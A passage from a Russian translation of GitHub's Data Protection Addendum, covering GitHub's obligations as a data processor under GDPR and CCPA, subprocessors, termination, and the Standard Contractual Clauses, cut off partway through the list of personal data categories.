законодательства. + +1.7 Термин «**Конечный пользователь**» обозначает Конечных пользователей Клиента (сотрудники, подрядчики или участники совместной работы). + +1.8 Термин «**Допустимые цели**» в отношении обработки данных означает ограниченные и конкретные цели предоставления Веб-служб, определенных в Соглашении и настоящем DPA, либо цели, в которых Субъекту данных разрешено использовать Персональные данные клиента. + +1.9 «**Защищенные данные**» включают в себя все Персональные данные клиента и Данные репозитория клиента, обрабатываемые GitHub от имени Клиента в рамках настоящего Соглашения. + +1.10 Термин «**Конфиденциальные данные**» обозначает все Персональные данные, раскрывающие расовое или этническое происхождение, политические взгляды, религиозные или философские убеждения или членство в профсоюзах, а также обработка генетических данных, биометрических данных с целью однозначной идентификации физического лица, данных о здоровье или данных о сексуальная жизнь или сексуальная ориентация физического лица; а также данные о совершенных преступлениях, судимости и мерах безопасности. + +## 2. Состояние и соответствие требованиям. + +#### 2.1 Обработка данных. +GitHub выступает в качестве Обработчика в отношении любых Персональных данных клиента, которые получены в рамках Соглашения, за исключением случаев, когда клиенты выступают в качестве Обработчика (в этом случае GitHub является субобработчика). GitHub обязуется обрабатывать Персональные данные клиента только в Допустимых целях в соответствии с инструкциями Клиента, как определено положениями Соглашения и иными письменными договоренностями. В случае, если GitHub не может обеспечить соблюдение инструкций Клиента (например, из-за конфликта Действующих законов о защите данных) или если обработка требуется в соответствии с Действующими законами о защите данных или иными требованиями законодательства, GitHub обязуется уведомить клиента об этом. GitHub обрабатывает всю Персональную информацию клиента в Соединенных Штатах или на территории Евросоюза, однако субобработчики GitHub могут обрабатывать данные за пределами Соединенных Штатов или Европейского Союза. Кроме того, GitHub выступает в качестве Обработчика в отношении любых Данных репозитория клиента. + +#### 2.2 Контроллеры данных. +Клиент является Контроллером только в отношении Персональных данных клиента, которые он передает GitHub напрямую или посредством использования Веб-служб за исключением следующих случаев: (а) если Клиент выступает в качестве Обработчика Персональных данных клиента (в этом случае GitHub является субобработчиком); или (b) если GitHub использует или иным образом обрабатывает Персональные данные клиента в целях осуществления Законной коммерческой деятельности GitHub. В этом случае GitHub обязуется выполнять обязательства независимого контроллера данных в соответствии с положениями GDPR, регулирующими такое использование. + +#### 2.3 Соблюдение требований GitHub; Передача данных. +GitHub обязуется соблюдать Действующие законы о защите данных в отношении обработки Персональных данных. + +Все случаи передачи Персональных данных клиента за пределы Европейского союза, Европейской экономической зоны, Великобритании или Швейцарии с целью предоставления Веб-служб регулируются Стандартными договорными положениями, изложенными в Приложении 1 («Стандартные договорные положения»). + +GitHub обязуется соблюдать требования Европейской экономической зоны и швейцарского законодательства о защите данных в отношении сбора, использования, передачи, хранения и другой обработки Персональных данных из Европейской экономической зоны, Великобритании и Швейцарии. Любая передача Персональных данных в третьи страны или международным организациям будет производиться в соответствии с требованиями в отношении мер защиты согласно Статье 46 регламента GDPR, и такая передача и меры защиты будут документально оформлены в соответствии со Статьей 30(2) регламента GDPR. + +Кроме того, GitHub имеет сертификат соответствия соглашению о правилах обмена конфиденциальной информацией между ЕС и США и аналогичному соглашению для обмена между Швейцарией и США, а также вытекающим из них обязательствам, хотя GitHub не использует соглашение о правилах обмена конфиденциальной информацией между ЕС и США в качестве правовой основы передачи Персональных данных в свете судебного решения Суда Европейского союза в деле C-311/18. GitHub соглашается уведомить Клиента в том случае, если GitHub больше не может исполнять свои обязательства, обеспечивая тот же уровень защиты, который требуется в соответствии с принципами Защиты конфиденциальности. + +#### 2.4 Права субъектов данных. Помощь в отношении запросов. +В соответствии с функциональностью Веб-службы и ролью GitHub как обработчика Персональных данных клиента, GitHub предоставит Клиенту возможность выполнения запросов субъектов данных с целью реализации их прав согласно Действующим законам о защите данных (например, GDPR и CCPA). Если GitHub получит запрос от субъекта данных Клиента, который связан с реализацией одного или нескольких его прав в связи с Веб-службой, в которой GitHub является обработчиком или дополнительным обработчиком данных, GitHub перенаправит этого субъекта данных непосредственно к Клиенту. Клиент несет ответственность за обработку таких запросов, в том числе с использованием функциональности или документации, предоставленной Веб-службой. GitHub обязуется выполнять обоснованные запросы Клиента, касающиеся предоставления помощи Клиенту для реагирования на такие запросы субъектов данных. + +### 3. Защита данных. + +#### 3.1 Целевое ограничение. +GitHub обязуется обрабатывать и передавать защищенные данные только для Допустимых целей, если только Стороны письменно не согласуют иные дополнительные цели. + +#### 3.2 Качество и пропорциональность данных. +GitHub обязуется поддерживать точность и актуальность Персональных данных клиента или предоставить Клиенту возможность делать это самостоятельно. GitHub обязуется принять коммерчески обоснованные меры, чтобы обеспечить адекватность, релевантность и неизбыточность Защищенных данных, которые GitHub собирает от имени Клиента, в отношении целей передачи и обработки таких данных. Ни при каких обстоятельствах GitHub не осуществляет преднамеренный сбор Конфиденциальных данных от имени Клиента. Клиент соглашается в тем, что Веб-служба не предназначена для хранения Конфиденциальных данных; если Клиент решит передать Конфиденциальные данные в Веб-службу, то Клиент должен соблюдать положения статьи 9 GDPR или равноценные положения Действующих законов о защите данных. + +#### 3.3 Хранение и удаление данных. +По запросу Клиента (если это не запрещено законом) GitHub обязуется вернуть, уничтожить или исключить удалить идентификационную информацию из всех Персональных данных клиентов во всех расположениях, где они хранятся, если они больше не требуются для Допустимых целей, в течение тридцати дней с момента получения такого запроса. GitHub может хранить Персональные данные клиента и связанные данные в той мере, в какой это требуется Действующими законами о защите данных и только в той степени и в течение такого периода, которые требуются в соответствии с Действующими законами о защите данных, при условии, что GitHub обеспечит, что Персональные данные клиента обрабатываются только по мере необходимости для целей, указанных в Действующих законах о защите данных или другом применимом праве, и ни для каких других целей, и что Персональные данные клиента по-прежнему защищены Действующими законами о защите данных. + +#### 3.4 Обработка данных. +GitHub предоставляет следующую информацию, которая требуется в соответствии со Статьей 28(3) регламента GDPR, относительно обработки Защищенных данных Клиента: + +а. *Предмет и продолжительность обработки* Персональных данных клиента определены в настоящем Соглашении и DPA. + +b. *Характер и цели обработки* Персональных данных клиента описаны в разделе 3.1 DPA. + +c. *Типы обрабатываемых персональных данных клиента* описаны в Соглашении и включают Персональные данные клиента; а также все типы персональных данных, которые клиент выбирает для включения в Персональные данные клиента. Клиент вправе предоставить GitHub дополнительные Персональные данные клиента, например, параметры профиля Клиента, или отправить Персональные данные клиента в репозитории GitHub. + +Г. *Категории Субъектов данных, с которыми связаны Персональные данные клиента* — это сам Клиент и его Конечные пользователи. + +д) *Обязательства и права Клиента* изложены в Соглашении и DPA. + +### 4. Обязательства по безопасности и проверку. + +#### 4.1 Технические, организационные меры и меры безопасности. +Учитывая современное состояние технологий, стоимость реализации, характер, масштаб, контекст и цели обработки данных, а также риски различной вероятности и серьезности в отношении прав и свобод физических лиц, GitHub должен принять соответствующие технические и организационные меры для обеспечения уровня безопасности, соответствующего рискам, включая среди прочего: случайное или незаконное уничтожение, потерю, изменение, несанкционированное раскрытие или доступ, связанным с обработкой Защищенных данных. GitHub будет регулярно следить за соблюдением этих мер и продолжит принимать соответствующие меры безопасности в течение всего срока действия настоящего Соглашения. См. Раздел 1.1 Приложения о безопасности (ниже), где описаны обязательства GitHub в отношении мер безопасности. + +#### 4.2. Реагирование на инциденты и Уведомление о нарушении безопасности. +GitHub обязуется исполнять обязательства по Информационной безопасности, предусмотренные Приложением о безопасности и Действующим законам о защите данных, включая обязательства по уведомлению о Нарушении правил защиты данных. См. Раздел 1.2 Приложения о безопасности, где описаны обязательства GitHub в отношении реагирования и уведомления о Нарушении правил защиты данных. + +#### 4.3 Персонал GitHub. +GitHub заверяет и гарантирует, что будет предпринимать разумные меры, чтобы обеспечить защиту конфиденциальности Защищенных данных персоналом GitHub, который обрабатывает Защищенные данные, а также организовать надлежащее обучение персонала, чтобы обеспечить соблюдение положений DPA и Действующих законов о защите данных. + +#### 4.4 Записи. +GitHub будут поддерживать полные, точные и актуальные письменные записи для всех действий по обработке, выполняемых от имени Клиента, которые содержат информацию, требуемую в соответствии с Действующими законами о защите данных. Если такая помощь не представляет риска для безопасности GitHub или прав на конфиденциальность отдельных субъектов данных, GitHub при необходимости сделает эти записи доступными для Клиента по запросу, например, чтобы помочь Клиенту продемонстрировать соблюдение требований в соответствии с Действующими законами о защите данных. Подробная информация о требованиях GitHub, необходимая для оказания помощи в случае инцидента безопасности, приведена в разделе 1.2 Приложения безопасности. + +#### 4.5. Отчеты о соблюдении требований. +GitHub будет предоставлять отчеты о соблюдении требований безопасности в соответствии с разделом 2.3 Приложения безопасности. Клиент соглашается с тем, что любая информация и права на поверку, предоставляемые Действующими законами к защите данных (включая, где это применимо, статью 28(3)(h) GDPR), будут удовлетворяться этими отчетами о соответствии и в противном случае возникнут только в той мере, в какой предоставленный GitHub отчет о соответствии не содержит достаточной информации, или в той степени, в которой Клиент должен отреагировать на проверку Надзорного органа. В разделе 3.1 Приложения о безопасности описываются обязательства Сторон в отношении нормативно-правовой проверки или проверки Надзорного органа. + +#### 4.6. Помощь. +GitHub обязуется оказать помощь Клиенту в оценке влияния на конфиденциальность данных, запросе прав для Субъекта служб, консультации с Надзорными органами, а также по иным вопросам (в каждом случае — исключительно в связи с обработкой Персональных данных клиента и принимая во внимание характер такой обработки). + +### 5. Использование и раскрытие Защищенных данных. +Использование в маркетинговых целях и целях CCPA не допускается. GitHub не вправе использовать защищенные данные для рекламы стороннего контента. Если GitHub обрабатывает Персональные данные клиента в рамках CCPA, GitHub не будет хранить, использовать или раскрывать такие данные в каких бы то ни было целях, кроме целей, предусмотренных в DPA и разрешенных положениями CCPA, в том числе в рамках "торговых" льгот. GitHub ни при каких обстоятельствах не вправе продавать такие данные. + +### 6. Дополнительная обработка и дальнейшая передача. + +#### 6.1 Защита данных. +GitHub несет ответственность за передачу защищенных данных своим субобработчикам, таким как сторонний обработчик платежей. В случае, если GitHub передает Защищенные данные с стороннему субобработчику или устанавливает, использует и поддерживает сторонних субобработчиков или сторонние службы, которые обрабатывают Защищенные данные от имени GitHub, GitHub обязуется обеспечить, чтобы сторонний субобработчик подписал письменное соглашение, в соответствии с которым он обязан обеспечить уровень конфиденциальности и безопасности не ниже, чем требуется в соответствии с DPA GitHub и Действующими законами о защите данных. + +#### 6.2 Принятие Субобработчиков GitHub. +Клиент разрешает GitHub и его субобработчикам назначать и использовать субобработчиков в соответствии с настоящим разделом 6 и положениями Соглашения. + +#### 6.3. Общее согласие на последующую обработку. +Клиент предоставляет GitHub общее согласие для привлечения субобработчиков для последующей обработки, при условии соблюдения GitHub следующих требований: + +а. Все последующие субобработчики должны в письменной форме выразить согласие на обработку данных только в тех странах, которые признаны Еврокомиссией как обеспечивающие "адекватный" уровень защиты; или обработку данных только на условиях, эквивалентных Стандартным договорным положениям, либо после утверждения Юридически обязывающих корпоративных правил компетентными европейскими органами по защите данных, либо после прохождения действующей сертификации в рамках программы EU-US Privacy Shield и Swiss-U.S. Privacy Shield; а также + +b. GitHub ограничит доступ последующего субобработчика к Персональным данным клиента только теми данными, которые необходимы для оказания услуг, и GitHub обязуется запретить субобработчикам обработку Персональных данных клиента в каких бы то ни было целях. + +#### 6.4. Раскрытие соглашений Субобработчика. +GitHub ведет перечень дополнительных субпроцессоров, которые привлекаются для обработки Персональных данных клиентов на своем веб-сайте, включая категории обработанных Персональных данных клиента, описание типа обработки, которую выполняет субобработчик, и место обработки. GitHub обязуется по письменному запросу предоставлять Клиенту перечень субобработчиков и условий, в соответствии с которыми они обрабатывают Персональные данные клиента. В соответствии с ограничениями конфиденциальности субобработчика GitHub вправе удалить любую конфиденциальную или секретную коммерческую информацию перед тем, как предоставить перечень и условия Клиенту. Если GitHub не может раскрыть конфиденциальную или секретную информацию Клиенту, стороны соглашаются с тем, что GitHub предоставит всю информацию, которую будет возможно предоставить в рамках соглашений о субобработке. + +#### 6.5 Возражение против Субобработчиков. +GitHub обязуется направить соответствующее уведомление за тридцать дней до добавления или удаления субобработчика, в том числе по категориям, приведенным в разделе 6.4, анонсировав такие уведомления на своем веб-сайте. Если у Клиента есть обоснованные возражения относительно привлечения GitHub нового субобработчика, Клиент обязуется незамедлительно уведомить об этом GitHub в письменной форме. По возможности GitHub обязуется приложить коммерчески обоснованные усилия, чтобы предложить альтернативное решение для Веб-служб, чтобы предотвратить обработку данных нежелательным субобработчиком. В случае, если GitHub не сможет предоставить альтернативное решение, и стороны не смогут разрешить конфликт в течение девяноста дней, Клиент вправе расторгнуть Соглашение. + +### 7. Расторжение Соглашения. + +#### 7.1 Приостановка действия. +В случае, если GitHub нарушает свои обязательства по поддержанию надлежащего уровня безопасности или защиты конфиденциальности, Клиент может временно приостановить передачу всех Персональных данных клиента или запретить сбор и обработку Персональных данных клиента от имени Клиента до тех пор, пока нарушение не будет устранено или не будет расторгнуто. + +#### 7.2 Расторжение в связи с нарушением. +Помимо каких-либо прав на расторжение Соглашения, Клиент также вправе расторгнуть соглашение без ущерба для любых иных претензий в силу закона или по праву справедливости в том случае, если: + +а. GitHub уведомляет Клиента о том, что больше не может выполнять свои обязательства по обеспечению конфиденциальности; + +b. передача, сбор или обработка всех Персональных данных клиента были временно приостановлены на срок более одного месяца в соответствии с разделом 7.1; + +c. GitHub существенно или постоянно нарушает какие-либо гарантии или заявления в соответствии с настоящим Соглашением о защите данных (DPA); + +Г. GitHub больше не ведет бизнес, распущен, начинает конкурсное производство или от имени GitHub издается приказ о ликвидации; или + +д) Клиент предъявляет возражение против субобработчика в соответствии с разделом 6.5, и GitHub не может предоставить альтернативное решение в течение девяноста дней. + +#### 7.3 Нарушение. +Несоблюдение существенных положений настоящего DPA считается существенным нарушением положений Соглашения. + +#### 7.4. Неисполнение. +В случае, если изменения в законе или регулировании делают исполнение DPA невозможным или коммерчески необоснованным, стороны могут по взаимному согласию пересмотреть DPA. Если повторное согласование не устранит такую невозможность или если Стороны не смогут прийти к согласию, Стороны вправе расторгнуть Соглашение через тридцать дней. + +#### 7.5 Уведомление. +Если GitHub определяет, что он больше не может выполнять свои обязательства в отношении конфиденциальности по настоящему DPA, он должен немедленно уведомить об этом Клиента. + +#### 7.6 Изменения. +GitHub вправе в любое время изменить положения DPA, если это требуется Действующими законами о защите данных, направив Клиенту соответствующее уведомление за тридцать дней до изменения. + +#### 7.7. Требования к расторжению. +После расторжения Соглашения GitHub обязуется: + +а. принять разумные и надлежащие меры для прекращения обработки Персональных данных клиента; + +b. в течение девяноста дней с момента расторжения удалить или удалить идентификационные данные из Персональных данных Клиента, которые GitHub хранит от имени Клиента в соответствии с положениями раздела 3.3 ; а также + +c. предоставить Клиенту разумные гарантии того, что компания GitHub выполнила свои обязательства в соответствии с разделом 7.7. + +### 8. Ответственность за обработку данных. + +#### 8.1 Ограничения. +За исключением ограничений, предусмотренных Действующими законами о защите данных, все претензии, предъявляемые в соответствии с DPA, распространяются на условия Соглашения, регулирующие ограничение ответственности. + +## Приложение 1 – Стандартные договорные положения (Обработчики) +Исполнение Клиентом Соглашения включает оформление этого Приложения 1 к Дополнению о защите данных GitHub, которое подписывается GitHub, Inc. + +В странах, где для применения Стандартных договорных положений требуется разрешение регулирующих органов, Стандартные договорные положения не могут быть основанием в соответствии с решением Европейской комиссии 2010/87/ЕС (от февраля 2010 года) для узаконивания экспорта данных из страны, если Клиент не запросил разрешение регулирующих органов. + +Для целей Статьи 46 (2) Генерального регламента о защите данных (GDPR) (2016/679 EC) в отношении передачи персональных данных операторам, находящимся в третьих странах, которые не обеспечивают адекватный уровень защиты данных, Клиент (как экспортер данных) и корпорация GitHub, Inc. (как импортер данных, подпись которого поставлена ниже), каждый отдельно — «сторона», вместе — «стороны», договорились о следующих Договорных положениях («Положения» или «Стандартные договорные положения») с целью принятия надлежащих мер предосторожности в отношении защиты конфиденциальности и фундаментальных прав и свобод физических лиц в связи с передачей экспортером данных импортеру данных персональных данных, указанных в Приложении 1. + +#### Положение 1. Определения +термины «персональные данные», «специальные категории данных», «процесс/обработка», «контролер», «обработчик», «субъект данных» и «орган надзора» имеют то же значение, что и в Генеральном регламенте о защите данных 2016/679/EC о защите пользователей в отношении обработки персональных данных и свободного перемещения таких данных; + +(b) «экспортер данных» — контролер, который передает персональные данные; + +(c) «импортер данных» — обработчик, который соглашается принять от экспортера данных персональные данные, предназначенные для обработки от его имени после их передачи в соответствии с его инструкциями и положениями этих Условий, и который не имеет отношения к системе третьей страны по обеспечению адекватной защиты данных в значении статьи 45(2) Генерального регламента о защите данных (2016/679/EC); + +(d) «дополнительный обработчик» — обработчик, нанятый импортером данных или каким-либо другим дополнительным обработчиком импортера данных, который соглашается получать от импортера данных или какого-либо другого дополнительного обработчика импортера данных персональные данные, предназначенные исключительно для обработки от имени экспортера данных после передачи в соответствии с его инструкциями, положениями Условий и условиями письменного дополнительного договора; + +(e) «применимое законодательство о защите данных» — законодательство, защищающее фундаментальные права и свободы физических лиц и, в частности, их право на конфиденциальность в отношении обработки персональных данных, применимое к контролеру данных в Государстве-члене ЕС, в котором находится экспортер данных; + +(f) «технические и организационные меры безопасности» — меры, предназначенные для защиты персональных данных от случайного или незаконного уничтожения или случайной потери, изменения, несанкционированного раскрытия или доступа (в частности, если обработка предполагает передачу данных по сети), а также от других незаконных форм обработки. + +#### Положение 2: Сведения о передаче +Сведения о передаче и, в частности, специальные категории персональных данных, если это уместно, указаны в Приложении 1 ниже, которое является неотъемлемой частью Положений. + +#### Положение 3. Положение о бенефициаре — третьем лице +1. Субъект данных может применять к экспортеру данных настоящее Положение, Положения 4(b)–(i), Положения 5(a)–(e) и (g)–(j), Положения 6(1)–(2), Положение 7, Положение 8(2) и Положения 9–12 в роли бенефициара-третьего лица. + +2. Субъект данных может применять к импортеру данных настоящее Положение, Положения 5(a)–(e) и (g), Положение 6, Положение 7, Положение 8(2) и Положения 9–12 в тех случаях, когда экспортер данных фактически исчез или прекратил законное существование, если только заменяющая его организация не приняла на себя все законные обязательства экспортера данных по контракту или по действию закона, в результате которого она принимает права и обязательства экспортера данных, и в таком случае субъект данных может применить их к такой организации. + +3. Субъект данных может применять к дополнительному оператору настоящее Положение, Положения 5(a)–(e) и (g), Положение 6, Положение 7, Положение 8(2) и Положения 9–12 в тех случаях, когда экспортер данных и импортер данных фактически исчезли, прекратили законное существование или стали неплатежеспособными, если только какой-либо дополнительный оператор не принял на себя все законные обязательства экспортера данных по контракту или по действию закона, в результате которого он принимает права и обязательства экспортера данных, и в таком случае субъект данных может применить их к такой организации. Такая ответственность дополнительного оператора перед третьим лицом ограничивается его собственными операциями по обработке в соответствии с Положениями. + +4. Стороны не возражают против представления интересов субъекта данных ассоциацией или другим органом, если субъект данных явно выражает такое желание и если это разрешено национальным законодательством. + +#### Положение 4. Обязательства экспортера данных +Экспортер данных соглашается с нижеуказанным и гарантирует: + +(a) что обработка персональных данных, в том числе сама передача, выполняется и будет выполняться в соответствии с соответствующими положениями применимого законодательства о защите информации (и, если применимо, что о ней будут уведомляться соответствующие органы Государства-члена, в котором работает экспортер данных) и не нарушает соответствующие положения такого Государства; + +(b) что он проинструктировал и на протяжении работы службы обработки персональных данных будет инструктировать импортера данных об обработке персональных данных, переданных только от имени экспортера данных и в соответствии с применимым законодательством о защите информации и Положениями; + +(c) что импортер данных предоставит достаточные гарантии в отношении технических и организационных мер безопасности, указанных в Приложении 2 ниже; + +(d) что после оценки требований применимого законодательства о защите данных меры безопасности позволяют обеспечить защиту персональных данных от случайного или незаконного повреждения либо случайной утраты, изменения, несанкционированного разглашения или доступа, в частности в случаях, когда обработка включает отправку данных по сети, и от других незаконных форм обработки, а также что такие меры обеспечивают уровень безопасности, который соответствует рискам, связанным с обработкой и характером подлежащих защите данных, с учетом современных технических средств и стоимости их реализации; + +(e) что он обеспечит соответствие мерам безопасности; + +(f) что если передача связана со специальными категориями данных, объект данных проинформирован или будет проинформирован до такой передачи либо в кратчайшие сроки после нее, и такие данные могут быть переданы в третью страну, не предоставляющую необходимую защиту по условиям Генерального регламента о защите данных (2016/679/EC); + +(g) передавать уведомления, полученные от импортеров данных или какого-либо дополнительного обработчика в соответствии с Положениями 5(b) и 8(3) органам надзора по защите данных, если экспортер данных принимает решение продолжить передачу или отменить приостановку; + +(h) предоставлять объектам данных по запросу копию Положений, за исключением Добавления 2, и сводное описание мер безопасности, а также копию какого-либо контракта на услуги дополнительной обработки. Это необходимо делать в соответствии с Положениями, если Положения или контракт не содержат коммерческие сведения; в таком случае коммерческие сведения могут быть удалены; + +(i) что в случае привлечения дополнительного обработчика действия по обработке выполняются дополнительным обработчиком в соответствии с Положением 11 и он обеспечивает как минимум такой же уровень защиты персональных данных и права объекта данных как импортера данных в соответствии с Положениями; + +(j) что он обеспечит соответствие разделам (a)–(i) Положения 4. + +#### Положение 5. Обязательства импортера данных +Импортер данных соглашается с нижеследующим и гарантирует: + +(a) что обработка персональных данных будет осуществляться только от имени экспортера данных и в соответствии с его инструкциями и Положениями; если он не сможет обеспечить такое соответствие по каким-либо причинам, он соглашается надлежащим образом информировать экспортера данных об этом, и в таком случае экспортер данных имеет право приостановить передачу данных и (или) прекратить действие договора; + +(b) что у него нет оснований полагать, что законодательство, применимое к нему, препятствует выполнению инструкций, полученных от экспортера данных, и его обязательств по договору, и что в случае изменения такого законодательства, которые, вероятно, окажут существенное негативное влияние на гарантии и обязательства, предусмотренные Положениями, он незамедлительно уведомит экспортера данных о таком изменении, как только о нем станет известно, и в таком случае экспортер данных имеет право приостановить передачу данных и (или) прекратить действие договора; + +(c) что он внедрил технические и организационные меры безопасности, указанные в Добавлении 2, до обработки переданных персональных данных; + +(d) что он будет должным образом уведомлять экспортера данных о: + + (i) каком-либо запросе, имеющем юридическую силу, на раскрытие персональных данных правоохранительным органам, если это не запрещено, например в соответствии с уголовным законодательством для соблюдения тайны следствия правоохранительных органов, + + (ii) каком-либо случайном или несанкционированном доступе, и + + (iii) каких-либо запросах, полученных непосредственно от объектов данных, не отвечая на такие запросы, если у него нет разрешения на это; + +(e) оперативно и надлежащим образом обрабатывать все запросы экспортера данных, касающиеся его обработки персональных данных, подлежащих передаче, и соблюдать рекомендации надзорного органа в отношении обработки переданных данных; + +(f) по запросу экспортера данных предоставить свои средства обработки данных для проверки охватываемой Положениями деятельности по обработке, который должен проводиться экспортером данных или инспекционным органом, состоящим из независимых членов и обладающим необходимой профессиональной квалификацией, связанным обязанностью соблюдать конфиденциальность, выбранным экспортером данных, если применимо, по согласованию с надзорным органом; + +(g) предоставлять объекту данных по запросу копию Положений или существующий контракт с дополнительным обработчиком, если Положения или контракт не содержат коммерческие сведения (в таком случае коммерческие сведения могут быть удалены), за исключением Добавления 2, которое должно быть заменено на сводное описание мер безопасности в тех случаях, когда объект данных не может получить копию у экспортера данных; + +(h) что, в случае привлечения дополнительного обработчика, он предварительно проинформировал экспортера данных и получил его предварительное письменное согласие; + +(i) что услуги по обработке, предоставляемые дополнительным обработчиком, будут выполняться в соответствии с Положением 11; и + +(j) должным образом отправлять копию соглашения с дополнительным обработчиком, заключенного в соответствии с Положениями, экспортеру данных. + +#### Положение 6. Ответственность +1. Стороны соглашаются, что какой-либо объект данных, который понес убытки в результате нарушения обязательств, упомянутых в Положениях 3 или 11 какой-либо стороной или дополнительным оператором, имеет право на компенсацию от экспортера данных за понесенные убытки. + +2. Если субъект данных не может предъявить экспортеру данных требование на компенсацию в соответствии с параграфом 1, возникающее в результате нарушения импортером данных или его дополнительным оператором каких-либо обязательств, упомянутых в Положениях 3 или 11, поскольку экспортер данных фактически исчез, прекратил законное существование или стал неплатежеспособным, импортер данных соглашается, что субъект данных может предъявить требование импортеру данных, как если бы он был экспортером данных, если только заменяющая его организация не приняла на себя все законные обязательства экспортера данных по контракту или по действию закона, и в таком случае объект данных может применить свои права к такой организации. + +Импортер данных не может ссылаться на нарушение дополнительным оператором своих обязательств, чтобы избежать собственной ответственности. + +3. Если субъект данных не может предъявить экспортеру или импортеру данных требование на компенсацию в соответствии с параграфами 1 и 2, возникающее в результате нарушения дополнительным оператором каких-либо обязательств, упомянутых в Положениях 3 или 11, поскольку экспортер и импортер данных фактически исчезли, прекратили законное существование или стали неплатежеспособными, дополнительный оператор соглашается, что субъект данных может предъявить дополнительному оператору требование, касающееся его собственных операций по обработке в соответствии с Положениями, как если бы он был экспортером или импортером данных, если только заменяющая его организация не приняла на себя все законные обязательства экспортера или импортера данных по контракту или по действию закона, и в таком случае субъект данных может применить свои права к такой организации. Ответственность дополнительного оператора ограничивается его собственными операциями по обработке в соответствии с Положениями. + +#### Положение 7. Разрешение споров и юрисдикция +1. Импортер данных соглашается, что, если объект данных применяет в отношении третьего лица-бенефициара свои права или требования по компенсации за повреждения в соответствии с Положениями, импортер данных примет решение объекта данных: + +(a) о передаче спора на разрешение независимому лицу или, если это разрешено, органу надзора; + +(b) о передаче спора в суд Государства-члена, в котором работает экспортер данных. + +2. Стороны соглашаются, что выбор объекта данных не нанесет ущерба его материальным или процессуальным правам по поиску средств правовой защиты в соответствии с другими положениями национального или международного права. + +#### Положение 8. Сотрудничество с органами надзора +1. Экспортер данных соглашается отправлять копию данного контракта надзорному органу по запросу или если это требуется в соответствии с применимым законодательством о защите информации. + +2. Стороны соглашаются, что надзорный орган имеет право на проведение проверки импортера данных и какого-либо дополнительного оператора в тех же целях и на тех же условиях, как если бы проверка проводилась экспортером данных в соответствии с применимым законодательством о защите информации. + +3. Импортер данных обязан должным образом информировать экспортера данных о существовании законодательства, применимого к нему или какому-либо дополнительному оператору, которое препятствует проведению проверки импортера данных или какого-либо дополнительного оператора, в соответствии с параграфом 2. В таком случае экспортер данных должен иметь право предпринимать меры, предусмотренные в Положении 5 (b). + +#### Положение 9. Применимое право. +Положения регулируются законодательством Государства-участника, в котором учрежден экспортер данных. + +#### Положение 10. Изменение контракта +Стороны берут на себя обязательство не изменять Положения. Это не исключает возможность сторон при необходимости добавлять положения по вопросам, связанным с бизнесом, если они не противоречат Положениям. + +#### Положение 11. Привлечение дополнительного обработчика +1. Импортер данных не должен привлекать дополнительных операторов для операций по обработке, выполняемых от имени экспортера данных в соответствии с Положениями, без предварительного письменного согласия экспортера данных. В случаях, когда импортер данных привлекает дополнительного оператора для выполнения обязательств в соответствии с Положениями, при наличии разрешения от экспортера данных, это должно выполняться в соответствии с письменным соглашением с дополнительным оператором, которое налагает те же обязательства на дополнительного оператора, которые налагаются на импортера данных в соответствии с Положениями. В случаях, когда дополнительный оператор не справляется с обязательствами по защите данных в соответствии с письменным соглашением, импортер данных несет полную ответственность перед экспортером данных за выполнение обязательств дополнительного оператора в соответствии с таким соглашением. + +2. Предварительный письменный контракт между импортером данных и дополнительным оператором также должен содержать положение о бенефициаре-третьем лице, как это предусмотрено в Положении 3 для тех случаев, когда субъект данных не может предъявить экспортеру или импортеру данных требование на компенсацию в соответствии с параграфом 1 Положения 6, поскольку они фактически исчезли, прекратили законное существование или стали неплатежеспособными, и заменяющая их организация не приняла на себя все законные обязательства экспортера или импортера данных по контракту или по действию закона. Такая ответственность дополнительного оператора перед третьим лицом ограничивается его собственными операциями по обработке в соответствии с Положениями. + +3. Положения, связанные с аспектами договора о защите данных при привлечении дополнительных операторов, изложенные в параграфе 1, регулируются законодательством Государства-участника, в котором учрежден экспортер данных. + +4. Экспортер данных должен хранить список соглашений с дополнительными операторами, заключенных в соответствии с Положениями, и о которых сообщил импортер данных в соответствии с Положением 5 (j). Такой список должен обновляться по крайней мере раз в год. Надзорный орган экспортера данных по защите данных должен иметь доступ к такому списку. + +#### Положение 12. Обязательства после прекращения предоставления услуг по обработке персональных данных +1. Стороны соглашаются, что после прекращения действия положений услуг по обработке данных импортер данных и дополнительный оператор должны, на усмотрение экспортера данных, возвратить все переданные персональные данные и их копии экспортеру данных или уничтожить все персональные данные и предоставить экспортеру данных подтверждение об этом, если законодательство, применимое к импортеру данных, не запрещает возврат или уничтожение, полное или частичное, переданных персональных данных. В таком случае импортер данных обязуется гарантировать конфиденциальность переданных персональных данных и больше активно не обрабатывать переданные персональные данные. + +2. Импортер данных и дополнительный оператор обязуются по запросу экспортера данных и (или) надзорного органа представить свои центры обработки данных для проверки мер, изложенных в параграфе 1. + +### Приложение 1 к Стандартным договорным положениям +Экспортер данных: Клиент является экспортером данных. + +**Импортер данных**: Импортером данных является организация GitHub, Inc., мировой производитель программного обеспечения и поставщик услуг. + +**Субъекты данных**: Субъекты данных включают представителей экспортера данных и конечных пользователей, в том числе работников, подрядчиков, сотрудников и клиентов экспортера данных. Субъектами данных могут также быть физические лица, которые пытаются сообщить или передать персональную информацию пользователям служб, предоставляемых импортером данных. GitHub признает, что в зависимости от использования Клиентом Веб-службы Клиент может принять решение о включении персональных данных любого из следующих типов субъектов данных в Персональные данные клиента. + +- сотрудники, подрядчики, временные сотрудники (текущие, бывшие и потенциальные) экспортера данных; +- Зависимые от указанного выше; +- партнеры/контактные лица экспортера данных (физические лица) либо сотрудники, подрядчики или временные рабочие партнеров/контактных лиц (юридических лиц) — текущие, потенциальные или бывшие; +- Пользователи (например, клиенты, пациенты, посетители и т. д.) и другие субъекты данных, которые являются пользователями услуг экспортера данных; +- партнеры, заинтересованные лица или лица, которые активно сотрудничают, общаются или иным образом взаимодействуют с сотрудниками экспортера данных или используют средства связи, например приложения и веб-сайты, предоставленные экспортером данных; +- Заинтересованные лица или лица, которые пассивно взаимодействуют с экспортером данных (например, потому, что они являются предметом расследования, исследования; упоминаются в документах или корреспонденции экспортера данных); или +- Специалисты с разрешениями для специалистов (врачи, юристы, нотариусы, представители церкви и т. д.). + +**Категории данных**: Переданные персональные данные, включенные в электронную почту, документы и другие данные в электронной форме в контексте Веб-служб. GitHub признает, что в зависимости от использования Клиентом Веб-службы Клиент может принять решение о включении персональных данных любого из следующих категорий в Персональные данные клиента. +- Данные проверки подлинности (например, имя пользователя, электронная почта, пароль); +- Контактные данные (например, электронная почта); +- Уникальные идентификационные номера и подписи (IP-адреса, уникальный идентификатор в файлах cookie отслеживания или аналогичная технология). +- Другие уникальные 